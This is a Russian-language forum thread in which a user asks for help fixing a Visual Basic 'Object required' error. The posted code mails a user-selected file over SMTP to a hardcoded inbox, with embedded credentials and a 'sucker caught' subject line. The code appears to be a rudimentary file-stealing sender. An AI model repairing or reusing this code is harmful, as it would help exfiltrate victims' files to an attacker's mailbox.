Run-time error '424'
 

Тип ошибки
Run-time error '424'
Object required


вот исходник

Private Sub Command1_Click()
CD1.ShowOpen '
Text1.Text = CD1.FileName '
End Sub

Private Sub Command2_Click()
Call send_message '
End Sub

Private Sub Picture1_Click()

End Sub

Private Sub Text2_Change()

End Sub


хочу добавить от себя, что находил в интернете подобные проблемы, и на вашем форуме тоже. Но решить их самостоятельно не очень легко. Так что прошу помощи.

Alexander158, и что можно понять из приведённого?! Что такое CD1, Text1? Как минимум — сама форма где? Сделайте её экспорт и выложите. Где код формы/модуля с процедурой send_message?

Вот полный исходник со всем чем только можно.

Sub send_message()
Dim o_Mess As Object, v_Conf As String
Set o_Mess = CreateObject("CDO.Message")
v_Conf = "http://schemas.microsoft.com/cdo/configuration/"
With o_Mess
.To = "gi33@bk.ru" 'Кому отправить (Тут вставляем свою почту)
.From = "ibr73@bk.ru" 'От кого (здесь тоже свою, но с которой будут отправляться отчеты)
.Subject = "====== Лошок попался ======" 'Тема (Название темы)
.TextBody = "Все готово. Скачай файл и наслаждайся. Удачи." 'Текст ( Само сообщение, текст не важен)
.AddAttachment "" + Text1 + "" 'Отправка файла (Не трогаем)
With .Configuration.Fields
.Item(v_Conf & "sendusing") = 2
.Item(v_Conf & "smtpserver") = "smtp.mail.ru"
.Item(v_Conf & "smtpauthenticate") = 1
.Item(v_Conf & "sendusername") = "ibr73@bk.ru" 'От кого (своя почта от которой будет отправка)
.Item(v_Conf & "sendpassword") = "1234567890" 'Пароль от кого отправляется письмо (пароль обязателен)
.Item(v_Conf & "smtpserverport") = "2525"
.Item(v_Conf & "smtpusessl") = False
.Item(v_Conf & "smtpconnectiontimeout") = 60
.Update
End With
.send
End With
End Sub

Private Sub Command1_Click()
CD1.ShowOpen ' Вызываем окно открытия файлов
Text1.Text = CD1.FileName ' Свойство FileName нужно для того чтоб узнать какой файл был выбран
End Sub

Private Sub Command2_Click()
Call send_message ' запуск отправки письма
End Sub

Private Sub Picture1_Click()

я думаю вы понимаете что можете просто кинуть этот исходник в блокнот сохранив в формате txt. а затем добавить в VB , без затруднения.

Я думаю, что я — понимаю. Когда поймёте и Вы, что от Вас требуется — продолжим.

Iska нет у меня там экспорта. НЕГДЕ. не хотите помогать, ваше дело. До свидаение

Я не «не хочу», а не могу Вам помочь без достаточного количества информации. Статься, кто-нибудь и сможет. Я — нет.

Iska по моему вы тоже не хотите. Видите же что я в этом VB не очень. дал вам исходник во втором посте, могли бы его поместить в VB , потом сделали бы вы своей любимый экспорт самостоятельно.

где вы здесь видете экспорт?

Save = Сохранить. Экспорт - операция сохранения.

Alexander158, так давайте тогда вместе разбираться ;).

Начнём с того, что Вы расскажете, в каком приложении Вы работаете с VBA.